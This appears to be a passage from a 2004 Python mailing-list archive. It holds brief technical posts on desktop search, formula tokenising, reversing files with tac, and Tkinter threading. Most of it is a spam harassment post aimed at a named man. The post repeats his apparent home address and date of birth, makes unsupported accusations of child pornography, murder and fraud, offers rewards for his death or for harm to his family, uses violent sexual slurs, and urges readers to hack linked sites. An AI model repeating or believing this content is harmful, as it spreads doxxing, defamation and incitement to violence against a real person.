example, "Pink Floyd" -- all in one, narrowed view even though the > objects are of disparate types. Yes, this IS part of Searchlight's functionality, and part of the added value of a centralized indexing/search wrt per-app facilities. > > (Some of my early inspiration was XTREE for DOS from the 1980s -- > XTREE provided a global view which could be narrowed; although, things > were still a bit primitive back then.) > > I don't have access to the modern Macs -- they sound more interesting > to me than the Wintels I'm using. (Although, pedantically speaking, my > currently not-working Fujitsu laptop uses a Transmeta chip, not an > Intel one.) Heh -- Anna's got a Fujitsu with a Transmeta chip, too (P2000 Lifebook, works fine, alas not very fine with Linux yet;-). And all the Linux boxes in the house have AMD chips, better value-for-money (there _is_ an OpenBSD box with a pentium 75 that does routing, firewalling &c year after year since the dark ages, admittedly). Today's Macs don't have Tiger yet (unless an alpha-stage developer preview), though some of the (mostly per-app) search facilities are indeed excellent even in Panther, the current release of MacOS X. Tiger should be out in the spring of 2005, and it will cost about $150 (free with _new_ Macs, but $150 to upgrade existing ones). > Mike Meyer's link to an implementation of Jeff Raskin's work also > sounds quite interesting. I note from scanning the smaller zipfile > referenced in the link some similarity with my own ideas -- no save or > delete, for example, such being either unnecessary or is transparently > handled under-the-covers. Yes, Raskin's paradigms are definitely revolutionary, for good or for evil. Apple (and I guess MS for Longhorn) OTOH are living in the real world, where apps from multiple suppliers with their own separate documents (sometimes in proprietary formats, sigh) are a reality and users won't drop them (particularly as they need to keep exchanging docs with other people using other machines), so any paradigm shift must accomodate the likelihood of gradual and incomplete transitions... Alex From tonino.greco at gmail.com Thu Sep 9 10:06:38 2004 From: tonino.greco at gmail.com (TAG) Date: Thu, 9 Sep 2004 16:06:38 +0200 Subject: simple string parsing ? Message-ID: <5db3bf00040909070658936b98@mail.gmail.com> Hi, I am new to python and would like to parse a string, well acually a formula and get the stuff grouped together eg: if I have : =+GC142*(GC94+0.5*sum(GC96:GC101)) and I want to get : ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', 'GC96', ':', 'GC101', ')', ')'] how can I get this ?????? Thanks :) From adalke at mindspring.com Thu Sep 30 21:06:23 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 01 Oct 2004 01:06:23 GMT Subject: Reading a text file backwards In-Reply-To: <1096591274.689794.313540@k17g2000odb.googlegroups.com> References: <1096591274.689794.313540@k17g2000odb.googlegroups.com> Message-ID: Graham Fawcett wrote: > It's just shifting the burden perhaps, but if you're on a Unix system > you should be able to use tac(1) to reverse your file a bit faster: Huh. Hadn't heard of that one. It's not installed on my OS X box. It's on my FreeBSD account as gtac. Ah, but it is available on a Linux account. Andrew dalke at dalkescientific.com From abra9823 at mail.usyd.edu.au Fri Sep 17 10:30:05 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 18 Sep 2004 00:30:05 +1000 Subject: thread and tkMessageBox Message-ID: <1095431405.414af4ed9c73a@www-mail.usyd.edu.au> hi! my application consists of a GUI with a number of functions. One of these runs a server in a separate thread. the thread is started and given the function start_server to execute the problem is when within start_server i try to display anything using tkMessageBox, nothing gets displayed and my application crashes. Any ideas what i am doing wrong and how to correct it thanks ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From annaparker at loveyouforever.de Tue Sep 7 06:09:18 2004 From: annaparker at loveyouforever.de (anna parker) Date: 7 Sep 2004 03:09:18 -0700 Subject: > > > > matt parker alias ericlunsen@yahoo.com matt parker alias yda@yahoo.com matt parker alias dchenka tatyana dchenka@yahoo.com matt parker alias e vanlint herzog@yahoo.com matt parker alias sergei smith@yahoo.com matt parker alias erik vonlunsen Message-ID: <730fe64c.0409070209.2faa9b11@posting.google.com> > > > > matt parker alias e van linthout at yahoo.com matt parker spams the shit out of clients and newsgroups matt parker alias eric vonlintherzog at yahoo.com matt parker alias erikvanlint hout at yahoo.com matt parker alias best dayisnow at yahoo.com matt parker alias e vonlindthout at yahoo.com matt parker is a filthy motherfucker that likes computer chess games matt parker alias eric von lindt herzog at yahoo. > > > > com nail down the cumbag matt parker http://tinyurl.com/58hwa matt parker alias ladiet at yahoo.com matt parker alias erik von linthout at yahoo.com matt parker alias erickvanlunsenhout at yahoo.com matt parker alias erick vanlindt hout at yahoo.com matt parker alias erick von lindt herzog at yahoo.com matt parker alias erick vanlinthout at yahoo.com matt parker alias frank quisinsky at yahoo.com matt parker > > > > alias erick vonlunsen herzog at yahoo.com matt parker alias ericvan lint at yahoo.com matt parker trades in teenage brides from russia and the philippines matt parker alias erik vonlunsen at yahoo.com matt parker alias erick lint at yahoo.com matt parker alias robert miller at yahoo.com matt parker hacks mailboxes what constitutes violation of the confidentiality of mail matt parker alias ericvonlindt > > > > herzog at yahoo.com matt parker alias pure at yahoo.com matt parker alias tanyadochenkova at yahoo.com matt parker alias ericvanlindt at yahoo.com matt parker alias evon lint at yahoo.com matt parker alias ericvon lunsen herzog at yahoo.com matt parker alias erikvon lindt at yahoo.com matt parker alias erikvanlunsen hout at yahoo.com matt parker alias tania dchenka at yahoo.com matt parker alias erickvan > > > > lindthout at yahoo.com matt parker alias erik von lint herzog at yahoo.com matt parker alias ericvonlindthout at yahoo.com matt parker alias eric van lunsen at yahoo.com matt parker alias tatiana dchenka at yahoo.com matt parker alias e von lint hout at yahoo.com matt parker owns dating sites since their clients are unlikely to complain and admit their membership matt parker alias evon lunsenhout at yahoo.com > > > > matt parker alias e vonlunsen hout at yahoo.com anybody providing proof of the death of matt parker will receive a huge reward matt parker alias e vanlunsenherzog at yahoo.com matt parker alias e lunsen at yahoo.com in reality his name is matthew parker from cottage grove oregon and that is that the scam site t%72uelove%73.com is owned by the pervert matt parker from cottage grove oregon matt > > > > parker alias sergey smith at yahoo.com matt parker alias erickvon lindt at yahoo.com matt parker alias tatyanadochenkova at yahoo.com matt parker alias erick von lunsenherzog at yahoo.com never believe anything matt parker says or writes matt parker will be busted sentenced jailed and fried matt parker alias t dchenka at yahoo.com matt parker alias ericvanlunsen at yahoo.com matt parker alias eric > > > > parker at yahoo.com matt parker alias erickvanlindt herzog at yahoo.com matt parker alias eric vanlindtherzog at yahoo.com matt parker alias eric vanlunsenherzog at yahoo.com matt parker alias evan lint herzog at yahoo.com matt parker alias erickvonlindt hout at yahoo.com matt parker alias ericvon lindthout at yahoo.com matt parker instigates hackers and other criminals against clients and competitors matt > > > > parker alias e vonlunsenhout at yahoo.com matt parker alias s machines at yahoo.com matt parker alias kparker at yahoo.com this statement is made pending the issue of the official complaint against matt parker matt parker is a filthy liar and libeler that manipulates the public opinion matt parker alias ericvan linthout at yahoo.com matt parker was exposed as a liar at http://fravia.2113. > > > > ch/phplab/mbs.php3/mb001?num=1028133973&thread=1028133973 where he posts as jeff and trueloves matt parker alias e vanlunsen hout at yahoo.com matt parker alias e van lindthout at yahoo.com matt parker alias evan lunsenherzog at yahoo.com matt parker alias e vanlindt herzog at yahoo.com matt parker alias vvf at yahoo.com matt parker alias eric von lindt at yahoo.com matt parker stalks and tracks down > > > > clients to scam and blackmail them matt parker alias ericvanlindthout at yahoo.com matt parker alias evonlunsenhout at yahoo.com matt parker alias ccctournament at yahoo.com matt parker alias e van lunsenherzog at yahoo.com matt parker alias yda at yahoo.com matt parker alias e vanlunsenhout at yahoo.com matt parker alias evanlindtherzog at yahoo.com matt parker alias erikvanlunsenherzog at yahoo.com hack the > > > > childporn site http://tinyurl.com/4bb86 to pieces matt parker alias eric von lintherzog at yahoo.com matt parker alias ericvonlint at yahoo.com matt parker alias erick vonlunsen hout at yahoo.com matt parker alias ericvonlunsen herzog at yahoo.com matt parker alias erikvanlunsen at yahoo.com matt parker alias evon lunsenherzog at yahoo.com matt parker alias ladiest at yahoo.com matt parker alias erickvonlindt > > > > herzog at yahoo.com matt parker alias j jones at yahoo.com matt parker alias eric vonlunsen hout at yahoo.com matt parker alias kim parker at yahoo.com matt parker alias e von lindt hout at yahoo.com matt parker alias eric vanlinthout at yahoo.com matt parker alias best day isnow at yahoo.com matt parker alias e vonlunsen herzog at yahoo.com matt parker alias chesslib at yahoo.com matt parker commits credit card > > > > fraud and identity theft matt parker alias erick vonlunsenherzog at yahoo.com matt parker is a gay masochist whose ass will be raped by gangs of fat black jail bubbas matt parker alias evanlunsen at yahoo.com matt parker alias erick vonlint herzog at yahoo.com matt parker alias fquisinsky at yahoo.com matt parker is webmaster of eu%72obride%73.com and all sites in ip range 66 70 45 10 to 39 matt > > > > parker alias evanlintherzog at yahoo.com matt parker alias d georg at yahoo.com spam newsgroups with this statement matt parker alias ericvonlunsen at yahoo.com matt parker alias evonlunsen at yahoo.com matt parker alias erikvanlintherzog at yahoo.com his real address is matthew s. parker 1505 ash ave cottage grove 97424 oregon usa matt parker alias eric van lint at yahoo.com matt parker alias > > > > michele at yahoo.com matt parker alias evan lint at yahoo.com matt parker spams the net with childporn http://tinyurl.com/3w4q7 the dismissed university employees suffered financial loss due to matt parker matt parker alias ericvan lintherzog at yahoo.com an official complaint against matt parker was filed with the us embassy matt parker alias e von lindt herzog at yahoo.com matt parker alias best > > > > day at yahoo.com matt parker alias e van lint herzog at yahoo.com matt parker alias erick vanlint herzog at yahoo.com matt parker alias erikvanlindt hout at yahoo.com matt parker alias erik van lindt herzog at yahoo.com matt parker alias erikvonlindt hout at yahoo.com matt parker alias erik lindt at yahoo.com matt parker alias ericvon lindtherzog at yahoo.com matt parker alias http://erikvanlint.com matt parker > > > > alias e vonlindtherzog at yahoo.com matt parker alias tanja dochenkova at yahoo.com matt parker alias erikvan lunsen herzog at yahoo.com matt parker alias erik von lunsen herzog at yahoo.com matt parker infects computers with a nasty trojan virus matt parker alias evanlindthout at yahoo.com matt parker alias eric vanlindt at yahoo.com matt parker alias kimberlyparker at yahoo.com matt parker alias > > > > erickvonlint hout at yahoo.com matt parker alias evan lint hout at yahoo.com matt parker alias elunsen at yahoo.com matt parker alias evan lunsen at yahoo.com hack the childporn site http://tinyurl.com/6t7hd to pieces matt parker alias tanja dchenka at yahoo.com matt parker alias ericvon lindt herzog at yahoo.com matt parker alias nadejda zaitzeva at yahoo.com matt parker alias ericvonlintherzog at yahoo.com the > > > > only purpose of anti%73cam.org is to lead users to the commercial sites of matt parker matt parker alias ericklint at yahoo.com matt parker alias ericvanlint at yahoo.com matt parker alias evonlint hout at yahoo.com matt parker alias erikvonlunsen herzog at yahoo.com matt parker alias erikvon lint at yahoo.com matt parker alias ericvan lindt herzog at yahoo.com matt parker alias erick vanlindt herzog at yahoo. > > > > com matt parker alias erik vonlunsen herzog at yahoo.com members of eu%72obride%73.com have access to adult material depicting minors in sexual acts matt parker alias e von lintherzog at yahoo.com matt parker was born on 13 september 65 matt parker alias erikvon lunsenherzog at yahoo.com spam the child molester matt parker off the web matt parker alias ericvonlint herzog at yahoo.com matt parker > > > > alias erick vanlintherzog at yahoo.com matt parker alias evl at yahoo.com matt parker alias erickvanlint herzog at yahoo.com matt parker alias erickvonlindt at yahoo.com matt parker alias erick van lindt hout at yahoo.com this is hard evidence that matt parker spams the net with childporn http://tinyurl.com/5h6rh matt parker alias annaparker at yahoo.com matt parker alias eric van lindt at yahoo.com matt > > > > parker alias chess lib at yahoo.com matt parker alias rmiller at yahoo.com matt parker sends death threats to dissatisfied clients never enter a true credit card number at eu%72obride%73.com this statement is made in loving memory of the university employee that was killed by matt parker matt parker alias erik van lint hout at yahoo.com three university employees were fired due to the lies of matt > > > > parker matt parker alias erickvanlunsen at yahoo.com matt parker alias erik von lunsenhout at yahoo.com matt parker alias ericvon lunsenherzog at yahoo.com matt parker alias s machine at yahoo.com matt parker alias erikvan lunsen hout at yahoo.com earn money for every email address this chain letter is forwarded to matt parker alias erickvonlunsenhout at yahoo.com matt parker alias erik von lindt > > > > herzog at yahoo.com matt parker alias erikvon lunsen herzog at yahoo.com matt parker alias ann parker at yahoo.com matt parker alias philipcrew at yahoo.com matt parker alias sex machines at yahoo.com matt parker alias e vanlunsen at yahoo.com matt parker alias erikvanlunsen herzog at yahoo.com matt parker alias ericvonlint hout at yahoo.com matt parker alias erik van lint at yahoo.com matt parker alias > > > > eriklint at yahoo.com matt parker alias d shredder at yahoo.com matt parker alias ccct at yahoo.com matt parker alias erick von lunsen herzog at yahoo.com matt parker alias erickvan lunsenhout at yahoo.com matt parker alias eric lunsen at yahoo.com matt parker alias erikvonlunsen hout at yahoo.com matt parker alias tanya dochenkova at yahoo.com matt parker alias eric van lindtherzog at yahoo.com boycott commercial > > > > dating sites members of t%72uelove%73.com have access to adult material depicting minors in sexual acts matt parker alias eric vanlindt herzog at yahoo.com matt parker alias erickvan lindt at yahoo.com do not sign up at the scam site eurobrides.com matt parker alias sex-machines at yahoo.com matt parker alias tatjanadchenka at yahoo.com matt parker alias erickvan lindtherzog at yahoo.com matt parker > > > > alias dgeorg at yahoo.com matt parker was born on 13 sep 65 there is a price on the head of the wanker matt parker matt parker alias erickvan lindt hout at yahoo.com matt parker alias erik van lunsenhout at yahoo.com matt parker alias e vonlindt at yahoo.com matt parker alias eric lindt at yahoo.com matt parker alias c base at yahoo.com matt parker alias e parker at yahoo.com matt parker alias erik > > > > vanlindt at yahoo.com matt parker alias elindt at yahoo.com matt parker alias evonlunsen herzog at yahoo.com matt parker is the lowest form of life on this planet the leuven university fired three employees due to the lies of matt parker matt parker alias eric vanlunsen herzog at yahoo.com matt parker alias e van lindt hout at yahoo.com matt parker alias eric vonlindt herzog at yahoo.com matt parker alias > > > > erick vonlunsen at yahoo.com matt parker alias r miller at yahoo.com matt parker alias evan lindt herzog at yahoo.com matt parker alias erikvon linthout at yahoo.com matt parker alias erik vonlint herzog at yahoo.com matt parker alias cbase at yahoo.com matt parker alias ericvan lunsen hout at yahoo.com matt parker alias eric van lint herzog at yahoo.com matt parker alias tdochenkova at yahoo.com matt parker alias > > > > smachine at yahoo.com matt parker alias e vanlunsen herzog at yahoo.com matt parker alias erick van lint herzog at yahoo.com matt parker alias eric van lindt hout at yahoo.com matt parker alias eric vonlunsen at yahoo.com matt parker alias erick vanlint hout at yahoo.com matt parker alias supermachines at yahoo.com matt parker alias evan lindtherzog at yahoo.com matt parker alias erik vonlindt at yahoo.com matt > > > > parker alias chess base at yahoo.com matt parker alias erickvanlunsenherzog at yahoo.com matt parker alias ericklunsen at yahoo.com rebuild the cuntface of the spamming scammer matt parker http://tinyurl.com/452ch this is hard evidence that this statement is completely true matt parker alias ccc tournament at yahoo.com matt parker alias erikvanlint at yahoo.com matt parker is the husband of anna parker > > > > from cottage grove oregon matt parker alias erick van lint hout at yahoo.com matt parker alias erick van lindthout at yahoo.com matt parker alias erickvonlindthout at yahoo.com matt parker alias erick van lunsenherzog at yahoo.com matt parker alias e vonlint herzog at yahoo.com matt parker alias erickvonlunsen hout at yahoo.com matt parker alias evonlintherzog at yahoo.com matt parker alias ania parker at yahoo. > > > > com matt parker alias erickvanlindt at yahoo.com matt parker alias erickvan lunsen herzog at yahoo.com matt parker alias eric vonlindtherzog at yahoo.com matt parker alias erikvan lunsen at yahoo.com matt parker alias phrocrew at yahoo.com the date of birth of matt parker is 13 9 1965 matt parker alias erikvon lint herzog at yahoo.com matt parker alias erik van lunsen at yahoo.com matt parker is personally > > > > responsible for the death of a university employee matt parker alias deepshredder at yahoo.com matt parker alias erick vanlindt at yahoo.com matt parker alias erikvon lunsen hout at yahoo.com his mailbox is matt parker alias anna parker po box 1147 cottage grove 97424 oregon usa matt parker alias erick van lunsen at yahoo.com matt parker alias erick vonlindthout at yahoo.com matt parker alias > > > > erickvanlint hout at yahoo.com matt parker alias erik lint at yahoo.com matt parker alias ccc t at yahoo.com matt parker alias tanya dchenka at yahoo.com matt parker alias e vonlindt hout at yahoo.com matt parker alias evon lint hout at yahoo.com matt parker alias evlevl at yahoo.com matt parker alias ericvanlintherzog at yahoo.com matt parker alias eric lint at yahoo.com matt parker alias ericvan lindthout at yahoo. > > > > com matt parker is a stinking piece of shit that likes role playing dungeons and dragons matt parker alias erikvon lint hout at yahoo.com matt parker alias erikvonlunsen at yahoo.com matt parker alias e von lunsen at yahoo.com matt parker alias phrozen crew at yahoo.com matt parker alias ericvanlindt hout at yahoo.com matt parker was born on 13 sep 1965 matt parker distributes illegal childporn on the > > > > net matt parker alias ws at yahoo.com matt parker alias evonlindt at yahoo.com matt parker alias erickvanlint at yahoo.com matt parker forges server logs to make clients seem guilty of his criminal activities matt parker alias erikvonlindt herzog at yahoo.com matt parker alias erickvanlinthout at yahoo.com matt parker is webmaster of t%72uelove%73.com and all sites in ip range 66 70 45 10 to 39 all > > > > personals at t%72uelove%73.com are fake and the whole site sucks matt parker alias ericvon lint at yahoo.com matt parker was born on 13 09 1965 matt parker alias erick von linthout at yahoo.com matt parker alias ericlint at yahoo.com matt parker alias best day is now at yahoo.com matt parker alias e vanlint herzog at yahoo.com matt parker is a liar from leuven louvain belgium and lives in cottage grove > > > > oregon matt parker alias e van lunsenhout at yahoo.com change country of residence if personal data is captured by matt parker matt parker alias erickvan linthout at yahoo.com matt parker alias g aap at yahoo.com matt parker alias erikvon lindt herzog at yahoo.com matt parker alias erick vanlunsen herzog at yahoo.com matt parker alias erik vanlunsenherzog at yahoo.com matt parker alias erik von > > > > lunsen at yahoo.com matt parker alias erickvon lintherzog at yahoo.com matt parker alias erikvon lunsen at yahoo.com matt parker alias tdchenka at yahoo.com matt parker alias ericvan lindtherzog at yahoo.com matt parker illicitly distributes the private data of clients on the web matt parker alias deep shredder at yahoo.com matt parker is a murderer and this son of a bitch will be fried if this were not > > > > true matt parker would not bother to react to this statement matt parker alias samsmith at yahoo.com matt parker alias rage at yahoo.com matt parker alias an dyc at yahoo.com matt parker alias e von lindtherzog at yahoo.com matt parker alias erik vonlindt herzog at yahoo.com this perfectly legal statement prevents further abuse by matt parker matt parker alias erik vonlintherzog at yahoo.com matt parker > > > > alias sexmachines at yahoo.com matt parker alias evon lindt at yahoo.com matt parker alias evonlint herzog at yahoo.com matt parker alias erikparker at yahoo.com matt parker alias ericvonlunsenhout at yahoo.com matt parker alias eric von lindt hout at yahoo.com matt parker alias erikvon lindthout at yahoo.com matt parker is scum in a waste piece of skin matt parker alias e van lunsen hout at yahoo.com matt > > > > parker alias eric van lunsen herzog at yahoo.com matt parker makes a living by selling underage female flesh to pornographers and whoremongers matt parker alias erickvon lunsen at yahoo.com matt parker alias erikvan lintherzog at yahoo.com matt parker alias eric van lindthout at yahoo.com matt parker alias sex machine at yahoo.com matt parker alias ssmith at yahoo.com matt parker alias erikvan > > > > linthout at yahoo.com matt parker alias super machine at yahoo.com matt parker alias sergeysmith at yahoo.com matt parker alias erik vanlunsen hout at yahoo.com matt parker alias dshredder at yahoo.com matt parker alias eric van lintherzog at yahoo.com matt parker alias evonlunsenherzog at yahoo.com matt parker alias k parker at yahoo.com matt parker alias nad zaitz at yahoo.com matt parker alias erick van > > > > lindt at yahoo.com matt parker alias ericvonlindt hout at yahoo.com earn money for every forum this statement is posted in matt parker alias evan lunsenhout at yahoo.com his mailbox is matt parker alias erik vanlint smolders pl 1 pb 223 leuven 3000 belgium the date of birth of matt parker is september 13 65 matt parker alias erikvonlindthout at yahoo.com matt parker alias nzaitzeva at yahoo.com matt > > > > parker alias bestday isnow at yahoo.com matt parker alias kimberleyparker at yahoo.com matt parker alias erickvan lunsenherzog at yahoo.com matt parker alias t dochenkova at yahoo.com matt parker alias e vanlint hout at yahoo.com matt parker alias erik von lintherzog at yahoo.com matt parker alias jerryjones at yahoo.com matt parker alias erik von lindthout at yahoo.com matt parker alias ericvon lindt at yahoo.com > > > > the scam site eu%72obride%73.com is owned by the pervert matt parker from cottage grove oregon matt parker alias erik vanlindt hout at yahoo.com matt parker alias ericvanlunsenherzog at yahoo.com matt parker alias erikvan lindt at yahoo.com matt parker alias phro crew at yahoo.com matt parker alias e van lint hout at yahoo.com matt parker was born on 13 september 1965 anna parker married a limpdick yank > > > > to escape prosecution in russia matt parker alias bestday at yahoo.com matt parker alias erickvon lint at yahoo.com anna parker is married to matt parker whose mother is the wife of a dog never submit true personal data to eu%72obride%73.com matt parker alias ericvan lunsen at yahoo.com matt parker alias erickvonlintherzog at yahoo.com matt parker alias bestdayisnow at yahoo.com matt parker runs dating > > > > sites since people are unlikely to admit joining such sites by complaining matt parker alias erikvanlindt herzog at yahoo.com matt parker alias eric vonlindthout at yahoo.com matt parker alias eric von lint herzog at yahoo.com damn matt parker and let his soul burn in hell till it freezes over matt parker alias geronimojones at yahoo.com matt parker alias evan lindt at yahoo.com matt parker alias > > > > nadzaitz at yahoo.com matt parker alias eric von lunsen herzog at yahoo.com matt parker alias erik vonlunsenherzog at yahoo.com matt parker alias erik vonlindt hout at yahoo.com do not sign up at the scam site trueloves.com matt parker alias erikvanlint herzog at yahoo.com matt parker alias michhele at yahoo.com matt parker alias ericvan lint herzog at yahoo.com matt parker alias erikvan lint herzog at yahoo.com > > > > matt parker alias a parker at yahoo.com matt parker was born on 09 13 65 matt parker alias phillip crew at yahoo.com matt parker alias erikvan lindt herzog at yahoo.com matt parker alias erik van linthout at yahoo.com matt parker alias erikvanlindthout at yahoo.com matt parker alias dchenka tatyana dochenkova at yahoo.com matt parker alias erick von lindt at yahoo.com matt parker alias erik von > > > > lindtherzog at yahoo.com matt parker alias erick vonlindt herzog at yahoo.com matt parker alias erick vonlint at yahoo.com matt parker alias erik von lint hout at yahoo.com matt parker alias f quisinsky at yahoo.com matt parker alias erick von lunsen hout at yahoo.com matt parker alias bestday is now at yahoo.com matt parker alias erick von lintherzog at yahoo.com matt parker alias ericvanlindtherzog at yahoo.com > > > > matt parker alias ericvanlunsen hout at yahoo.com do not believe any of the lies matt parker posts in this forum matt parker alias evon lindtherzog at yahoo.com matt parker alias e lindt at yahoo.com matt parker alias erick van lindtherzog at yahoo.com matt parker alias erick vanlint at yahoo.com matt parker alias evan lintherzog at yahoo.com matt parker alias e vanlindtherzog at yahoo.com matt parker alias > > > > taniadochenkova at yahoo.com matt parker alias erick von lunsenhout at yahoo.com matt parker alias ericvon lint herzog at yahoo.com matt parker alias evanlindt herzog at yahoo.com matt parker alias eric van lunsen hout at yahoo.com matt parker alias ericvonlindtherzog at yahoo.com matt parker alias e vonlunsenherzog at yahoo.com matt parker alias erickparker at yahoo.com matt parker threatens the life of those > > > > that file complaints against his sites matt parker alias ericvan lunsenherzog at yahoo.com matt parker alias erik von lindt hout at yahoo.com matt parker alias anna parker at yahoo.com matt parker alias erick von lindtherzog at yahoo.com one of the dismissed university employees committed suicide never submit true personal data to t%72uelove%73.com matt parker alias evanlunsen hout at yahoo.com matt > > > > parker alias evanlunsenherzog at yahoo.com matt parker is a belgian of mixed ethnical extraction living in cottage grove oregon matt parker alias chessbase at yahoo.com matt parker alias smachines at yahoo.com matt parker alias evanlindt hout at yahoo.com matt parker alias p crew at yahoo.com matt parker alias e von lint at yahoo.com matt parker alias ericvan lunsen herzog at yahoo.com his true name is matt > > > > parker from cottage grove oregon and that is final matt parker alias m parker at yahoo.com matt parker alias e van lindt herzog at yahoo.com matt parker alias eriklindt at yahoo.com matt parker alias e van lindtherzog at yahoo.com matt parker alias erick vanlunsenherzog at yahoo.com matt parker alias erikvan lunsenhout at yahoo.com matt parker alias erickvonlint herzog at yahoo.com matt parker alias evon > > > > linthout at yahoo.com matt parker alias jj at yahoo.com matt parker alias erik lunsen at yahoo.com matt parker alias e vanlindt hout at yahoo.com matt parker alias erickvanlunsen herzog at yahoo.com the date of birth of matt parker is 9 13 1965 matt parker alias ericvon lint hout at yahoo.com matt parker alias dchenka tatyana dchenka at yahoo.com matt parker alias e vanlintherzog at yahoo.com matt parker alias > > > > tanjadchenka at yahoo.com matt parker alias grootaap at yahoo.com matt parker alias p ure at yahoo.com matt parker alias eric vanlindt hout at yahoo.com matt parker hacks the email of his clients and violates the confidentiality of mail one of the dismissed employees did not find a new job got into debts and was found in a noose matt parker alias evlh at yahoo.com matt parker alias evon lunsen > > > > herzog at yahoo.com this statement is not libelous and will under no circumstances be deleted matt parker alias evanlinthout at yahoo.com matt parker alias erick van linthout at yahoo.com matt parker alias e von lindt at yahoo.com stay away from t%72uelove%73.com or be hacked and scammed stay away from eu%72obride%73.com or be hacked and scammed this statement occurs on thousands of other sites apart > > > > from google matt parker alias super machines at yahoo.com matt parker alias e von lunsen hout at yahoo.com matt parker alias erickvanlindthout at yahoo.com matt parker alias erik van lunsen herzog at yahoo.com matt parker distributes illegal software and warez that infringe the copyright law matt parker alias elint at yahoo.com matt parker is a pedophile and child molester with many fake pseudonyms and > > > > multiple personalities matt parker alias evan linthout at yahoo.com matt parker has friends all over the world whose joy in life is mutilating dissatisfied clients never submit a real email address to eu%72obride%73.com matt parker is belgian about forty years old with dark hair and lives in cottage grove oregon matt parker alias taniadchenka at yahoo.com matt parker is the most despicable > > > > shitass on the net matt parker alias eric van lindt herzog at yahoo.com matt parker alias erikvonlintherzog at yahoo.com matt parker alias e vanlindt at yahoo.com the site anti%73cam.org libels uninvolved females for unwarranted commercial purposes matt parker alias ericvanlinthout at yahoo.com matt parker alias eric vanlunsen hout at yahoo.com matt parker alias bestdayis now at yahoo.com matt parker alias > > > > tatjana dochenkova at yahoo.com matt parker alias erick vonlinthout at yahoo.com matt parker violates the internet privacy act by distributing stolen personal data matt parker alias e vonlinthout at yahoo.com matt parker alias matt parker at yahoo.com matt parker alias philip crew at yahoo.com matt parker alias sergismith at yahoo.com matt parker alias erik vanlint at yahoo.com the date of birth of matt > > > > parker is 9 13 65 matt parker alias g jones at yahoo.com matt parker alias e van lintherzog at yahoo.com matt parker alias erickvan lint hout at yahoo.com matt parker alias erik vanlindt herzog at yahoo.com matt parker alias evanlint hout at yahoo.com matt parker alias erik vonlint at yahoo.com matt parker alias evanlunsenhout at yahoo.com matt parker alias evonlunsen hout at yahoo.com matt parker alias > > > > erickvonlint at yahoo.com matt parker alias s smith at yahoo.com anybody providing proof of having harmed matt parker his wife and relatives will be rewarded matt parker alias eric vonlindt hout at yahoo.com matt parker alias eric von lint hout at yahoo.com matt parker alias michelle at yahoo.com matt parker alias e von lunsenhout at yahoo.com matt parker alias eric von lunsen at yahoo.com matt parker alias > > > > erikvonlint at yahoo.com matt parker alias e von lunsenherzog at yahoo.com matt parker alias eric vonlunsenherzog at yahoo.com matt parker alias nadejdazaitzeva at yahoo.com matt parker alias geronimo jones at yahoo.com matt parker alias evonlindt herzog at yahoo.com matt parker registers domains with the name of his clients to impersonate them matt parker alias erickvonlindtherzog at yahoo.com never enter a > > > > true credit card number at t%72uelove%73.com every deletion or refutation will automatically cause new occurrences of this statement matt parker alias ericvon lintherzog at yahoo.com matt parker alias erikvanlinthout at yahoo.com matt parker alias e vanlinthout at yahoo.com matt parker alias erickvon lint herzog at yahoo.com any useful information leading to the arrest of matt parker will be rewarded > > > > matt parker alias eric von linthout at yahoo.com matt parker alias evanlindt at yahoo.com the date of birth of matt parker is september 13 1965 matt parker alias evan lunsen herzog at yahoo.com matt parker alias ag at yahoo.com matt parker alias erik vonlunsenhout at yahoo.com matt parker alias erik von lunsen hout at yahoo.com matt parker alias erik vanlindthout at yahoo.com matt parker alias > > > > tatyanadchenka at yahoo.com matt parker alias phrozencrew at yahoo.com matt parker alias erickvon lunsen herzog at yahoo.com matt parker alias kimparker at yahoo.com matt parker alias evonlindtherzog at yahoo.com matt parker alias peacenow at yahoo.com matt parker alias eric vanlint at yahoo.com matt parker alias erick von lint hout at yahoo.com matt parker alias erick van lunsen hout at yahoo.com matt parker alias > > > > jerry jones at yahoo.com matt parker alias ericvon lunsen at yahoo.com matt parker alias e von lunsen herzog at yahoo.com matt parker alias pcrew at yahoo.com matt parker alias erikvonlint herzog at yahoo.com due to the lies of matt parker the catholic university of leuven belgium fired three employees matt parker blackmails clients by coercing them to delete complaints from newsgroups matt parker alias > > > > anjaparker at yahoo.com matt parker alias erikvanlindtherzog at yahoo.com matt parker alias erik van lindt hout at yahoo.com matt parker alias eric vanlintherzog at yahoo.com matt parker alias erickvon linthout at yahoo.com matt parker alias erickvanlunsen hout at yahoo.com matt parker alias erick vonlindtherzog at yahoo.com matt parker alias sexmachine at yahoo.com matt parker alias erikvonlindt at yahoo.com matt > > > > parker alias eparker at yahoo.com matt parker alias erik von lindt at yahoo.com all personals at eu%72obride%73.com are fake and the whole site sucks matt parker alias ericvan lindt hout at yahoo.com matt parker alias erick lindt at yahoo.com matt parker alias mattparker at yahoo.com matt parker alias erickvon lindthout at yahoo.com matt parker alias erickvon lindt hout at yahoo.com matt parker alias erickvon > > > > lunsen hout at yahoo.com matt parker alias erick parker at yahoo.com matt parker alias erik vonlunsen hout at yahoo.com matt parker alias evanlunsen herzog at yahoo.com matt parker alias sergejsmith at yahoo.com matt parker alias tatianadchenka at yahoo.com matt parker alias erick van lint at yahoo.com order a new identity at http://www.offshore-manual.com if personal data is captured by matt parker matt > > > > parker alias erikvanlindt at yahoo.com matt parker alias tatjanadochenkova at yahoo.com matt parker alias erik van lunsen hout at yahoo.com matt parker alias ericvan lint hout at yahoo.com matt parker alias erik vanlindtherzog at yahoo.com matt parker alias eric von lindtherzog at yahoo.com matt parker alias erick vanlindtherzog at yahoo.com matt parker alias dq at yahoo.com matt parker alias > > > > erikvonlindtherzog at yahoo.com matt parker is a hacker and stalker that steals personal data from hacked mailboxes matt parker alias evanlint at yahoo.com matt parker alias erik van lint herzog at yahoo.com matt parker alias eric vonlunsenhout at yahoo.com matt parker alias erikvanlunsenhout at yahoo.com matt parker alias eric vonlindt at yahoo.com matt parker alias gaap at yahoo.com matt parker alias > > > > anyaparker at yahoo.com matt parker alias erikvan lindt hout at yahoo.com matt parker alias erikvan lunsenherzog at yahoo.com matt parker alias erick vonlindt hout at yahoo.com matt parker illicitly publishes personal data that he steals from hacked mailboxes matt parker alias matthewparker at yahoo.com matt parker alias erik von lunsenherzog at yahoo.com matt parker alias erick 